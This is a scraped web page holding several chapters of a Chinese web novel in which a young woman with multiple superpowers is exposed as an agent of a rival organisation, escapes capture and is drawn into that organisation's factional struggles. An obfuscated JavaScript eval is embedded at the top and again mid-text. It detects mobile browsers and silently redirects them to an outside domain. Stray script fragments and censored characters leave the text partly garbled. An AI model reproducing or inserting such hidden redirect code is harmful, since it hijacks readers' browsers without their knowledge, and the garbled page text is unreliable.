;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15383868|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光点也并没有任何异常。 “同学，请问你知道第三教学楼往那边走吗？” 而就在此时，身后突然传来一个男人的声音，简初深吸一口气转过头，就看见一个个子很高的男人，他看上去三十来岁，嘴角挂着笑，客气地朝她问路。 但简初只是面无表情地盯着他。 精神力没有捕捉到他的光点。 两人互相对视了几秒，对方突然眯眼笑了起来：“哎呀，好像被发现了呢，傅遥？” 简初瞳孔骤缩，就看见眼熟的人从侧方拐了出来，而同样的，她的精神力光点也消失了。 “很惊讶吗，我们知道你精神力挺强的，所以提前做了准备，是不是还挺有效的。”萧若愚倒是挺有闲情逸致，就这么揣着兜和她聊起天来。 “……你们找我有事吗？”简初忍不住握紧了拳头。 对于傅遥她还算有几分了解，但面前这个男人却从未见过，但看上去也不是个好对付的。 傅遥神色复杂：“有点事，你能跟我们回去一趟吗？” 最好能避免冲突，大家坐下好好聊一聊，但她心里也清楚，简初一旦跟他们回去，后面就不受控制了。 “无人区的事？你们跟我说一声就好了，没必要亲自来找我吧？”简初不想继续绕圈子，她相当迫切地想知道究竟出了什么事，“另外，麻烦这位别做小动作了。” 萧若愚一愣，笑了声便把手从裤兜里拿出来：“我可什么都没干，你别紧张啊。” 这两人虽然什么都没说，但显然来者不善，简初并不想这样不明不白地跟他们回去，但拖延似乎也没什么意义。 她看着面前的男人招招手，周围迅速窜出几个穿着作战服的人，直接将她团团围住。 “这是什么意思？” 萧若愚恍若未闻，只是瞧了眼沉默不语的傅遥，一声令下：“动手！” 而就在这时，天穹之中突然投下巨大的阴影，众人下意识仰头看去，一艘灰黑色的星舰正悬浮在头顶，而与此同时响彻的是精卫的对空警告。 而星舰胖胖的肚子上，正是一枚已经斑驳的熟悉图章。 “温弗拉。”萧若愚冷笑一声，“竟然来救你了，没想到你还有这份量。” 这下，一直盘旋在简初脑中的猜测终于落地。 她真的暴露了，尽管不知道是哪里漏了破绽。 “傅遥！你还信她？动手！” 这一次，所有人都懂了，就连那个发号施令的男人也不意外。 简初几乎毫不犹豫就做出了决定，与其被特战中心带走，进入无休止的审问与对峙，倒不如跟着温弗拉离开，只不过这一走，自己的罪名怕是就没有回旋的余地了。 一瞬间，她脑中闪过许多人的面孔，可就算略有犹疑，也不足以动摇最后的决定。 傅遥看见那个女孩转过头，最后看了她一眼，那个眼神很复杂，也许有抱歉，也许有遗憾，甚至还有很多别的东西，但唯独没有看见恐惧与仇恨。 下一秒，简初的身影在原地一闪，紧接着消失无踪。 “我就说她的异能是假的。”萧若愚咬着牙，眼神一转迅速发现不远处的背影，“这次打伤了算我的。” “等等！”傅遥下意识想要阻止，但已经来不及了。 萧若愚整个人化作一道白光，眨眼就追了上去，而简初听到后面的破空声，想要躲避也已经来不及了。 白光穿破倏忽抬起的火墙，轰然砸在了她的肩胛，巨力让简初整个人不受控制向前扑去，在地上滚了好几圈才生生停下。 整个左肩都麻木了，完全抬不起来，紧随其后的剧烈的疼痛。 要知道，这是经过被动异能【□□强化】加强过的躯体，竟然就这么容易被砸碎了骨头，这个人相当不好对付。 简初心头火起，抬起左手就是铺天盖地的细密针雨，它们靠近那道亮着白光的人形时，速度就肉眼可见地慢了下来，但已经足以吸引对方的注意力。 小触手沿着地面飞速爬行，眨眼就捆住对方的脚腕，猛地将人甩飞了出去。 萧若愚在空中滚了一圈，重新稳住身形，但心头大骇。 疯了吧，她有几个异能？！ “苍耳！” 正在这时，简初的后方传来一声清亮的呼喊，她回头看去，却控制不住地瞪大了眼睛。 这张脸……怎么会是温南？！ 那女人身后是一个蓝黑色的空洞，这个距离还能看到里面旋转着气流。 “路亚！”萧若愚相当惊讶，他是真的没想到这人会亲自来救简初，难不成这个小姑娘是温弗拉的重要人物不成。 不对，她身上这么多异能，显然不会是普通成员。 简初捂着胳膊，咬咬牙直接读档了身体数据，双手在地上撑起，眨眼再次消失在了原地。 与此同时，萧若愚化作的白光也在她刚刚所在的位置砸出一个坑来。 嘶，幸好她跑得快。 “你……”路亚面露惊异，但现在不是聊天的时候。 她一把扣住简初的小臂，头也不回钻进了那个骤然收缩的空洞中。 萧若愚骤然掠过，却没能成功跟进去。 他仰起头，只能眼睁睁看着那艘星舰向上升起，顷刻间消失在视线之中。 209. 镜中花（30） “怎么会没抓到人呢，你们到底在做什么？” “萧若愚，我都不想说你，这种时候你也能手下留情，哪怕是傅遥求你……” 沉默向前走的男人突然顿住脚步，转头用那双黑沉沉的眼盯着一旁喋喋不休的中年人。 “萧……”傅遥微微皱眉，但还没开口就被他拦在后面。 “呵，你说话之前能不能用用猪脑子。”萧若愚伸手在空中点了点，“我还没找你们麻烦呢，情报网漏成筛子了，抓个人连对方的战斗力都没弄清，还敢在我面前乱晃。” 听这话，傅遥忍不住松了口气，看来去协会工作还是有点好处，至少嘴没那么毒了。 “脑仁比心眼子还小，蠢货。” 傅遥：…… 这个那个，哎…… 她忍住笑意，转身跟上去。虽说没能把人带回来，但还是得汇报一下情况。 “待会别乱说话，我来。”萧若愚侧头看了她一眼，直接一把推开了房门，会议室里已经坐着不少人，远程的投影设备也已经准备就绪，场面比傅遥想象中夸张不少。 更让她头疼的时，傅燃也上桌了。 为了全息投影的效果，整个会议室都是昏暗的，只有蓝幽幽的灯光打在他侧脸，很难说年轻人现在究竟是什么脸色。 听见门被推开，他抬头看过来，眼底流露的暗沉让傅遥心惊。 “你们回来了，那就汇报一下情况吧。” 最中央坐着的是特战中心的一把手，而在他的侧边是一个看不清人脸的投影，正是中庭协会的会长。 “这次的任务，消息源出现了极大的偏差，我看过那份文件，根据里面的记录，简初本人应该只是一个边缘人物，行动次数少，并且没有担任重要角色，以上都是情报部门根据这些信息推测出来的情况。” 萧若愚说着，眉头忍不住拧紧：“但现实情况并不是这样，第一，我们抵达学院星的时候，简初的行动轨迹已经发生变化，她乘坐了校内摆渡车，应该想要离校，但不知道什么原因促使她在中途下了车。” 会议室里鸦雀无声，所有人都在仔细倾听他的话，一旁的傅燃抿抿唇，下意识握紧了拳头。 如果根据那份文件里的叙述，之前和他交手的都是简初，这太可笑了，如果这样的话，在无人区的时候她为什么要冒着那么大的风险救他。 “第二，她在温弗拉的身份并不低，这也和那份文件的记录相矛盾，温弗拉特地安排了星舰过来，甚至路亚直接介入了战局，把人带走了。” 这下，会议室里响起窸窸窣窣的讨论声，但萧若愚还有话要说。 “第三点，当然也是我作出第二点判断的佐证，简初的战斗力远超想象，就单纯从交手中来看，她至少拥有……三个异能。” “闪现、控火，还有一个很奇怪，肉眼看不见，但是却能感觉到有东西抓住我的脚腕。”萧若愚说着，眼神瞥向一旁垂着眼的年轻人，“说起来，傅燃在之前的行动中应该和她交过手，对方用了这几个异能吗？” 所有人的视线跟着转过来，傅遥难□□露出担忧，她只是和简初相处了一段时间，就有些不愿意相信这一切，而傅燃…… 他眼皮抖了抖，胸廓明显起伏了两下，才抬起头平静开口：“我只亲眼见过第一个。” 萧若愚多看了他一眼：“那真是太可惜了，不过第三个异能就算她用了，你也未必知道。” “目前就是这些，至于别的还得等情报组把她的生平履历都摸清，不过我对此并不乐观。” 对温弗拉采取专项行动已经迫在眉睫，就光是飓风几人嚣张到直接闯入联研所，就足够相当严重的罪责，不过对这群人来说，已经是债多不压身了。 “这次行动确实太莽撞了，不过这也不能怪，毕竟在座没人会料想到现在的情况，但是对温弗拉的行动已经刻不容缓，这一次中庭协会和特战中心合作，先把探子都处理掉。” 他们手里有一份确凿的名单，但此前出于观察与监控的考虑，并没有将这些人抓起来，现在正是时机。 傅遥纠结了片刻，还是选择了开口：“各位，我有一个不太成熟的猜测，我们这次抓捕到的对象，会不会是温弗拉故意扔出来的烟雾弹？” 此言一出，不少人都皱起眉头。 “烟雾弹？什么意思？” “是这样，萧若愚刚刚说的确实都是真的，但也因为如此，我们在那份文件里发现简初就有些反常了，如果真是重要角色，那一个底层成员手里怎么会有她的信息？” “这个确实很奇怪啊？” “从文件中的信息来看，简初确实没有承担什么重要的工作，要是真的这么强，很多事情让她去办不就好了？” “莫非……诸位，这会不会是温弗拉培养的高级间谍，如果我们一直没有发现，那她大概率会进入联研所，我听说之前因思禾博士很看好她啊？” “这也有可能……” 众人纷纷提出自己的猜测，但也确实都没有实际的根据，见讨论得差不多，主座上的人终于开口。 “傅遥，既然你提出来这个问题，那说说你的考虑？” “根据之前的调查反馈，情报部提出过温弗拉内部不和的推测，我在想……这会不会是他们内斗导致的？”傅遥深吸一口气，“不管是高级间谍还是别的，只要温弗拉清楚她的能力，就必然不会让一个小喽啰得到简初的信息，但现在的情况却恰恰相反，或许他们是有意暴露出来的。” “目的就是借我们的手，解决一个强大的对手。” …… “傅燃！你等等！” 一散会，傅遥就匆匆跑出来，她站在走廊上不顾旁人的眼光，左看右看终于找到那个快要消失在走廊尽头的身影。 她冲上前，一把抓住对方的手腕，但年轻人只是跟着抬起胳膊，大半的身子还是面向前方。 “……有事吗？”他声音低哑，听上去涩涩的，“不是让你们去发通缉令吗，喊我做什么？” 傅遥深吸一口气：“我只是担心你，那个……要不要再去找因思禾检查一下，毕竟……” 她知道这话说出来有些伤人，但当初知道简初能帮上忙的时候有多开心，现在就有多紧张。 不管再怎么不愿意相信，简初确实撒了谎，哪怕她做的事并没有直接伤害到他们，但……她已经没办法像之前那样信任她，别的都可以算了，但傅燃脑中残存的精神力必须要处理掉。 “我没事。”傅燃微微侧过头，凌乱的发丝遮住眼睛，只露出一点高挺的鼻梁，“她没有伤害我。” 傅遥沉默不语，她现在也不能确定，傅燃的情绪究竟是来自于他本身，还是受到了简初留下的精神力的影响。 “可是……” “能让我一个人待会吗？”傅燃用力抽回了自己的手，“抱歉姑姑，我……有点累。” 傅遥愣愣地看着他转过身，像往常一样挺直着背消失在了拐角处。 ……他哭了？ “喂，你们姑侄俩怎么都怪怪的。”萧若愚很有眼色地没有打扰他们，但在傅燃离开之后还是第一时间凑了过来。 虽然都在中庭协会，但他并没有跟傅家这个小崽子接触太多，只是听说他虽然很厉害，但身体似乎不太好，不太能用异能。 对于简初与他们之间的交往，萧若愚也算是有所耳闻，但他并不觉得以傅家的家风，这两人会做出背叛联邦的行为。 而且关系应该也没有亲密到那种地步。 “没什么。”傅遥整理好情绪，平静地转过身，“走吧，该开工了。” …… 北亢区。 这里是联邦主星的最北端，星舰缓缓降落的时候，简初可以透过舷窗看见漫山遍野的积雪。 “星舰这么大，不会被发现吗？”这是她登上星舰之后说的第一句话。 无影眨眨眼：“放心好了，我们有办法。” 简初沉默不语，眼神再次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她们一前一后，办公室的门“砰”得关上，一直竖着耳朵的同事们终于抬起头，用“饿狼”般的求知眼神注视着无影。 办公室里，路亚随手拿起桌上的材料，拍在了简初面前。 “你很有趣，这些东西不妨看看。” 简初没有第一时间动手，而是盯着路亚看了两秒，才把视线放在面前薄薄几叠纸片上。 “这是行动部对于这次‘意外’的书面说明，你看看。”路亚坐在她对面，神态自若地翘起二郎腿，“毕竟你可是当事人，现在……我保留你追究他们责任的权利。” “当然，这个过程肯定不会太顺利。” 刚夸下海口，路亚又耸耸肩，权当是活跃了气氛，简初扯扯嘴角，终于拿起那份材料看了起来。 里面并没有什么特殊的，不过是对于“不小心暴露你们的人，对此表示歉意”之类不痛不痒的话罢了。 “有些事不便多说，不过温弗拉内部并没有那么和谐，你只是他们投石问路的一个棋子而已，不过我希望，你不仅是一颗棋子。” 两个人的视线碰撞在一起，一时间没人说话，但又好像什么都说了。 路亚需要简初，需要她作为旧派的刀，在恰当的时候戳进新派的胸口，而相应的，简初也需要路亚提供的资源。 她不是能忍下这口气的性格。 “合作愉快。” 路亚笑了一声：“跟我谈合作，口气不小，不过我喜欢。” 她伸手按下内线，很快无影就应声而来。 “老大……有事吗？” 啧，本来还没什么感觉，现在有苍耳在这，她愈发觉得无影这家伙怂怂的，不得劲。 “上调苍耳的权限，开到主管级。” 无影愣住：“主……主管？” 路亚笑得和煦：“没错，以后她就是你的上级了哦。” 无影：…… 妈妈，我的天好像塌了。 210. 镜中花（31） 斯塔庄园。 从无人区回来之后，凯文就被禁足在家，每天除了家教上课，就是体能锻炼，就连基本的娱乐消遣也几乎没了。 米勒尔自然知道这样短期的揠苗助长基本没什么效果，但奈何他心里一直在自我怀疑，又一次次否定这些自我怀疑。 要是凯文有伊森七成的能力，不……哪怕只有五成，他都不会像现在这样愁闷。 不过这些想法凯文暂且不知道，他最近脾气愈发不好，却又不能当着米勒尔的面发火，一直憋着有些相当难受。 每天来授课的家教跟着吃尽苦头，但斯塔家给的钱实在太多太多，被这小少爷不痛不痒骂几句倒也就算了。 此时，凯文正坐在落地窗边宽大的椅子里，外面风景不错，但她并没有心思去看。 “哒哒哒——” 手指敲击着扶手，他打量着桌上的终端，却又始终不能下定决心，这时候急着联系那个家伙，之后的谈判肯定会落入下风，他一直被对方牵着鼻子走，好不容易能扳回一局，绝对不能在这里泄气。 终端旁边堆满了书籍，只是瞥一眼凯文就感觉无比烦躁，但他根本无法拒绝米勒尔的安排。 “叮叮！” 终端发出脆响，凯文猛地起身扑过去，差点把终端打落在地。 果然是…… 他深吸一口气，拳头握紧又放开，终于接通了这则未知来电。 “喂？” 他略带颤抖的声线让飓风忍不住发笑：“怎么，很期待我的电话？” 哪怕是在自己的房间，凯文也谨慎地捂住终端：“事情办完了？” 这几天的学习颇有成效，至少凯文说起话来气势更足了些，但他心里究竟有没有底，这就没人知道了。 “我办事可是很有效率的。”飓风跷着脚，微微仰着脑袋看向办公桌对面的电视屏幕，相当怡然自得，“当然我也不会光靠嘴，有些东西要给你看看。” “什么？”凯文皱紧眉头，“你们把她解决了？还要给我看什么？” 不会是什么凶杀现场吧，他可没做好准备要看这种东西啊？ 飓风但笑不语，凯文只能硬着头皮，点开了终端上的那封最新邮件。 希望现场不要太过血腥…… 他深吸一口气，猛然睁开眼，悬浮屏上却并不是想象中的画面，而是一个白花花的网页。 “这是什么？”凯文下意识问道，眼神却已经在页面上的小字穿梭。 飓风也不跟他兜圈子：“内部通缉令，你还没找到关键吗，眼神不好？” 对方不遗余力的挖苦让凯文脸色铁青，但这次他没有发脾气，而是耐着性子一个个看了下去，很快，就在其中看见了一个熟悉的名字。 “简初？你别告诉我这个人是就是……” 他话还没说完，悬浮屏上的画面一闪，一个带着照片和履历的页面就跳转出来，而上面的那张脸确实就是他无比厌恶的那个人。 厌恶程度仅次于伊森。 “你们做了什么？”凯文的呼吸有点急促，他设想过对方会用什么样的方式解决这个人，却没想到会是这样…… 这太完美了，没有让她轻易死去，而是活着体会身败名裂的感觉。 “这就不是你该管的事情了，现在你该做的，就是把你在无人区见到、得知的一切，原原本本的全部告诉我。”飓风把玩着手里的签字笔，切断了和他的屏幕共享，“合作就是要有来有往啊，你要是现在还拒绝，恐怕……” 他只说到这里，但凯文自然明白未尽之意，可目前他手里有用的情报或许就只有这些，要是全都说出去，岂不是又陷入被动。 那偷偷地藏下一些信息，应该不会被发现吧？ “好，我告诉你。” …… 这通电话打了很久，直到管家才催促凯文上课才堪堪结束。 飓风挂断通讯，表情不复之前的轻松写意，他花了十几分钟把凯文刚刚描述的情况整理好，才联系了约瑟夫。 对方来得很快，毕竟无人区是他现在的首要关注。 “这个小崽子还想着藏私，但他实在太蠢，试图隐瞒的都是那些没什么价值的东西，我也懒得多说些什么。”征得约瑟夫的同意，飓风点燃了一根香烟，并同时打开排风扇。 像是辐射消失这种大事件，完全不需要刻意打听，自然而然就会钻进他们耳朵里。 “不要这么武断，有机会可以再跟他聊聊。”约瑟夫一边听着刚刚的录像，一边翻看手中的材料，“真有意思，这个简初……不，现在该叫她苍耳了。” 她竟然也进了无人区腹地，甚至亲历了其中发生的一切，这可比凯文·斯塔有价值多了。 飓风有些反应不过来：“苍耳？什么意思？” “哦，你还不知道？”约瑟夫笑了一声，“路亚去救人了，不然你以为她自己能逃得掉？” 那颗人造卫星上的星舰港全部被封锁，没有星舰的话，长翅膀都没用。 “路亚去救她？”飓风一脸难以置信，“为什么，有这个必要吗？” 简初不过是后勤部的最底层，甚至不久前才转正，而路亚是重要负责人之一，两人之间说差了十万八千里也不为过。 更重要的是，她并没有什么突出的能力，开着星舰去救这么个人，完全是杀鸡用牛刀。 “这有什么难以理解的，他们是把这次的行动看作我对旧派的挑衅了。”约瑟夫悠然自得地翻过一页，看到某行文字时微微蹙起眉头，“这群人真是活得战战兢兢。” 新派如日中天，如果不是有至关重要的后勤部作为顶梁柱，旧派怕是早就七零八落了。 虽然他当时确实有点给旧派添堵的意思，但也没想到路亚会做到这种地步。 这也算是某种程度上承认了新派的威慑力，但约瑟夫现在的心情却很难开心起来。 “无人区的‘火种’似乎已经熄灭了。”他长长叹了口气，合上了手里的报告，“只剩下斯塔研究所和萨托罗尔了。” [新知之火，余热不息。] 这是掩藏在温弗拉旧史中，曾经无人在意的箴言，但在约瑟夫眼中，它却隐藏着颠覆世界的力量，他只要拿到其中一个…… 飓风并不知道那部分书卷中究竟写了些什么，但既然约瑟夫有此断言，他也并不反驳。 “那我们只能二选一了？”他有些胆战心惊。 斯塔研究所里养着的那个东西，上次行动中甚至无人看见它的全貌，但如果参考研究所的面积……既然米勒尔用了一整层来关那玩意，显然会是个超出想象的庞然大物。 “火种真的就在那里吗？” 这不确定的语气惹来约瑟夫的瞥视：“怎么，你怀疑我的判断？还是说，你想先去萨托罗尔转一圈。” “倒也不是这个意思。”飓风耸耸肩，“那可是最次的选择了。” 联邦死刑犯的关押地，所有人道主义法条在这里均不适用，每一个死刑犯都会为全联邦“燃烧最后的价值”，用以弥补犯下的过错。 那里是科技文明最后的屏障，一切都是最朴实简单的模样，但自从建立之初就无人能够越狱，不仅是因为环绕四周的无尽海，还因为……那里的管理者。 每一任监狱长都和萨托罗尔紧密相连，完全称得上是整所监狱的半身。 那里只有入口，没有出口，他们要是想进去攫取火种，难度可比斯塔研究所高出几个量级。 约瑟夫倒没和他计较，毕竟是自己的得力属下，他还是很有耐心的。 “斯塔研究所的行动该提上日程了，你这两天去跟路亚套套近乎，一来想办法弄清楚那个简初的底细，二来……这次行动肯定需要他们协助，必要的时候可以临时服个软。”约瑟夫放下手里的材料，拍拍衣角站起身，“大丈夫能屈能伸，必要的时候向我汇报进程。” “是。”飓风站起身目送他离去，许久之后才又低下头，看着桌上的资料微微出神。 火种……吗？ …… 后勤部。 最近没什么任务，无影也有些清闲，他时不时抬起脑袋，从反光的屏幕了悄咪咪打量侧后方的简初，偶尔还会不乐地撅撅嘴。 这些小动作他自己或许意识不到，但已经被简初捕捉到了。 无影戳戳手下的白纸，百思不得其解，为什么这个人摇身一变就成主管了，她……也不比自己厉害啊！ “你看什么？”简初有点不胜其扰，只能从手上有关温弗拉的文件中抬起头，冷淡的眉眼看得无影一个激灵。 “我……谁看了，你不看我怎么知道我看你了！” 简初：“……白痴吗？” “你说什么呢！”无影气结，“你……就算你现在是主管，也不能随便骂人啊！” 简初现在正沉浸在新权限带来的各种情报中，根本没空跟他小学生吵架，但就在这时，后勤部的大门却被人推开。 “嗯？这么热闹？” 壮汉的身形让简初眯了眯眼，想到当初在斯塔集团的短暂碰面。 “这人又不敲门……”无影小声的嘟囔钻进耳朵，简初微微扬起脑袋看向壮汉，屁股却根本不离椅子。 这张脸飓风相当熟悉，但她坐着的位置却完全出人意料。 主管？路亚想做什么？ 怀揣着疑问，飓风伸手敲了敲路亚办公室的门，毕竟两人同级，这种明面上的和谐还是要好好维持的。 “你们来新人了？”他单刀直入，本来并没有把路亚救人的事太过放在心上，但现在对方受到重用，足够飓风咂摸出味儿来了。 那人要是真那么废物，路亚不可能会这么做。 路亚皮笑肉不笑地勾勾嘴唇：“怎么，你不认识？这不应该吧？” “你这话说的，不过确实有几分面熟……”飓风颇为夸张地搓搓下巴，做出一副恍然大悟的样子，“我听约瑟夫说，你们把那个成员救回来了，就是她么？” 他的演技差到极点，两方对内情各有各的理解，但相同的是大家都不太友善。 “这是我们部门的事情，没必要跟你多说。”路亚脸色冷淡，“如果你是来赔罪的，那我们倒是可以说道说道。” 飓风哼笑一声，半靠在皮质沙发上：“别这么无趣啊，我们都为了组织卖命，出点小纰漏也正常，抓着不放就没意思了。” “我看她坐在主管的位置上了，你给她升的职？补偿？还是说她有能力？” 没有人回答他的追问，路亚直接随手指了指大门，示意他没事就可以直接离开了。 “行吧，那还是聊正事。”完全被拂了面子，飓风有些面露不快，但并没有忘记此行最重要的目的，“谈谈工作吧，大管家。” “我们要再次组织一场针对斯塔研究所的行动，多亏了你上次的帮忙，好歹收集到了一些情报，这次给我们多加点人手？” 上次的行动飓风并没偶亲自参与，除了拟定计划，过程中反而是后勤部发挥了巨大的作用，除了路亚，还有那位假扮李瑞千的…… “这两天好像没看见柳雾？” 路亚嗤笑：“怎么，你这是要插手后勤部的内务？” “哪敢啊！”飓风举起双手做投降状，但那副油嘴滑舌的样子看得人相当不适，“那我不问了，还是谈谈协作。” “现在没得谈。”路亚撩起眼皮，“最近几次行动被你们坑了，所以我得先看到你们的计划书，另外……” 飓风有点没耐心了：“又怎么？” “如果中途出现意外，我的人随时撤离。”路亚两只手压在桌面上，身体微微前倾，“别想着再拖我们下水，要死也是你们顶在前头。” 这话说得相当重了，要是飓风录了音捅到上面去，那路亚绝对会受到严重的处罚，可这里是后勤部的核心，没有人能够在这里做什么小动作。 虽然后勤部听上去很像是打杂的部门，但其实这里辅助云集，没有哪次行动能够完全绕得过他们，这也是约瑟夫迟迟没能下手的重要原因。 “不要这么暴躁啊，这话要是被别人听见可就不好了。”飓风扯着微笑，但表情透着一丝骇人，“这可是约瑟夫的意思，跟我说可没用。” 在这里不受欢迎，他自然也不想多待：“至于计划书，你要是实 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倘若简初是特战中心的人，那杀掉这些罪犯，她反倒会成为英雄。 但哪怕没有这些，只要她是温弗拉的成员，就只会站在他们的对立面。 莫景疑惑：“什么？” “嗯……目前看来她确实没犯什么大罪，你别太担心了，如果能抓住她，也算是阻止她继续犯错。”傅遥拍拍她地肩膀，看女孩脸色失落，赶紧转移话题，“好了不说这个，趁着这个机会你去因博士那里看看吧，上次送去的药剂似乎查到了点什么，她刚刚还发了消息，催我赶紧过去呢。” 莫景咬紧嘴唇：“药剂也是学姐帮忙拿到的。” 这孩子也是个死心眼。 傅遥无奈地叹了口气：“我知道，很多事情没有表面那么简单，但查清楚需要时间，说不定她也是有苦衷的呢。” 就像温弗拉，在几十年前还是官方戳印的社会友好组织，他们帮助很多突然觉醒异能的普通人适应了全新的生活，甚至为很多机构输送了大量的劳动力，可那时谁会想到多年之后，它竟然成了联邦的眼中钉、肉中刺。 目送着莫景离开，傅遥揉揉酸痛的额头，回到了办公室。 因为简初的身份浮出水面，所以曾经与其有关，甚至只是沾了个边的事件都被重新提出来，进行合并处理，这工作量算不上很大，但却让所有人都很迷惑。 她是什么时候加入温弗拉的？ 从南芒区旅店的异种袭击事件开始，到救助中心修女死亡，再到斯塔集团的药剂事件，中间并没有明显的关联，单纯从手上的情报来看，她只是一个相当普通的成员，甚至于是从今年才开始执行任务。 这本来并没有什么，但路亚开着星舰来救她，加上她使用的多个异能，让这一切变得完全扑朔迷离起来。 如果有这么强的能力，温弗拉没道理只让她执行这些任务，除了杀死修女这个任务称得上有些“含金量”，其他的……完全就是把她当作小兵用。 萧若愚托着下巴，有一下没一下地敲着桌子，听见身后的声音，才懒洋洋转过身：“谈完了？有发现吗？” “并没有，我本来以为她们看上去关系不错，至少应该互相了解一些，但没想到……只是普通的前后辈关系。”傅遥微微摇头。 这么看来，这两人应该单纯是因为程源的项目熟悉起来的，如果要把这件事也算进来，那情况又会变得更复杂了。 “看你表情，应该也得到了一些信息，只是没什么用。”萧若愚耸耸肩，“不说这个，这两天温弗拉相当安分，各地都没有上报什么异常情况。” “倒是你家那个小子，最近整个人状态都不太对，我上班的时候他在，我下班了他也没走，虽然工作确实没出什么纰漏，但是作为家长你能不能，这有点太卷了啊！” 傅遥无可奈何：“他现在根本不不听我的，明面上点头答应，但照样我行我素……算了，我回头把他朋友也调过来，那小家伙唠叨得很，应该能劝着点。” 屋内再次陷入沉默，其实正常来说，温弗拉的暗桩并不值得如此大动干戈，但简初身上触碰到好几个雷区，使得事态升级到超乎寻常的地步。 一来是她身份特殊，联邦军校培养的孩子，模拟大赛之后甚至跻身尖子生行列，二来因思禾判断其精神力至少达到SS级，她的“叛逃”对联邦来说是极大的损失，三来……就是抓捕当天发现的，简初身怀多个异能。 联邦的内部通缉榜单很长很长，和公开通缉榜相比，这上面的人都没做什么眼中危害公众安全的事情，但战斗力和立场又有着潜在的威胁，综合以上条件，简初以“未伤害过普通公民”的B级通缉犯身份，凭借着超强的预测战斗力空降榜单前五。 这还是考虑到她本人没有严重的反社会倾向，才做出的决定。 “简初的生平履历大概都整理好了，情报组连夜做了分析，判断她加入温弗拉的时间大概率和就读联邦军校相重叠，加上修女的影响因子，十有八九就是被对方领进去的。” 萧若愚在终端上点了点，一个加密文件就被传输到了傅遥手里：“这之后她几乎一直沉寂，仿佛温弗拉完全忘记了这个人，也可能是我们没有查到相关的线索，总之简初真正开始在任务中发挥决定性作用，就是刺杀修女。” 傅遥对此颇有些意见：“这项任务和其他几个相比，完全不是一个难度层级，我不太能理解温弗拉这么安排的目的。” 如果他们知道简初的能力，没理由只在这里用一次，但如果他们不知道……那就更不可能让她独自执行刺杀修女的任务。 “很可惜，情报部暂时也无法解释这个情况，当然其中也可能存在我们不知道的事，比如修女其实不是她杀的，不过没人能说得准。”萧若愚也只能叹气，“该死，好像把她抓回来好好问一问啊，实在抓不到的话打个电话也好啊！” 傅遥翻了个白眼：“上班上疯了你。” “这是美好的幻想，你懂个屁！”萧若愚哼哼一声，揉着腰站起身，“我不行了，去做个理疗，回见。” 211. 镜中花（32） 三天后。 虽然简初的权限已经上调到主管级别，但实际上她手底下却是无人可管，这种状态其实相当令人满意，她也有足够的时间读完现有的所有资料。 之前的几次行动，简初就隐隐感觉温弗拉内部并不和谐，但也确实没想到直接是分成了两个派系，甚至有很多工作并不会互相告知。 两派最紧密的联系在于对外行动，新派作风相当激进，手下的成员自然也是攻击型异能者居多，这两天也有在注意吸收其他类型的异能者，而相对的，旧派本身战斗力并不足，但胜在把持着后勤部，几乎养着一窝专业辅助。 旧派的领头人于多年前失踪，本该接任的那位也在任务中离奇死亡，在约瑟夫的“努力”下，新派简直见风就长，十分迅速地成长起来，但旧派却迟迟没有人能够接手。 虽然内部分了派系，但温弗拉说到底还是一个组织，当下的情况就是约瑟夫一人独大，新派的高层服从他的指令，旧派的高层又不能明着和他抗衡，陷入强的愈强，弱的愈弱的恶性循环。 “为什么不直接把旧派吞并呢？” 主管的小隔间里，路亚正坐在简初对面，而她们中间的矮桌上还放着一份作战计划书。 “那是你权限之外的内容，但是我可以稍稍透露一点。”路亚并不意外她会有这样的疑问，“组织的高层会收到‘箴言’的约束，你可以把它理解为某种‘约定’，它的来源已经不可考证，但真实性不容置疑。” “因为有人曾经因为违背‘箴言’，而……”路亚单手在脖子上比划了两下，“至于具体的内容我也不清楚，毕竟我又不是高层领导。” “你还不算高层？”简初微微挑眉。 这几天观察下来，后勤部的其他负责人几乎都没露过面，所有事情都是路亚一个人盯着，这都不算高层的话，什么才算？ “只是因为旧派在走下坡路而已，放在以前，普通的负责人是不会有这么大的权力的，抛开这些，我的职位只能算中层。” “那其他高层呢？” 路亚笑了笑：“这就不是你该知道的事了，不说这个，计划书你看过了吧，虽然很想说有意见可以提，但这次很可惜，我们并没有这样的权利。” 简初忍不住又瞥了一眼桌上的材料：“看是看了，但是写得太草率了，完全就是应付你的要求。” 这份计划书从头到尾就是一个字，莽，几乎是把路亚当做没脾气的二傻子来对待。 但……偏偏上面还有约瑟夫的签名，问题也就在于这里。 作为温弗拉目前职位最高的人，这个签名就以为着计划书得到他的首肯，而其他人都没有资格骑在他头上提出反对的意见。 用脚想也知道，这是飓风的“报复”。 “不过根据‘箴言’，要是计划出了篓子，他可是得承担责任的。” 话说到这份上，两人不约而同安静了几秒，路亚才略带忧愁继续开口：“你确定这样真的能行得通？我可不想把自己也搭进去。” “放心好了……” “砰！” 就在这时，隔间外突然传来一声巨响，两人对视一眼便迅速起身，推开门走了出去。 眼见无影正往大门处走，似乎是想要开门，路亚连忙出声阻止：“无影，别开门。” “诶？”年轻人茫然回头，对上自家上司略带怒气的面孔，下意识停住了脚步，“啊……好的。” 这动静，明显是有人从外面推门，路亚前两天刚下令，要求所有人及时反锁大门，这下就有人撞枪口上来了。 会是谁呢，真的好难猜啊。 路亚发出一声哼笑，老神在在地找了个位置坐下来：“我倒要看看，有些人什么时候才能学会敲门。” 这其实只是件小事，但这几天很多东西交杂在一起，算是成为了压死骆驼的最后一根稻草，路亚对新派的意见达到空前的顶峰。 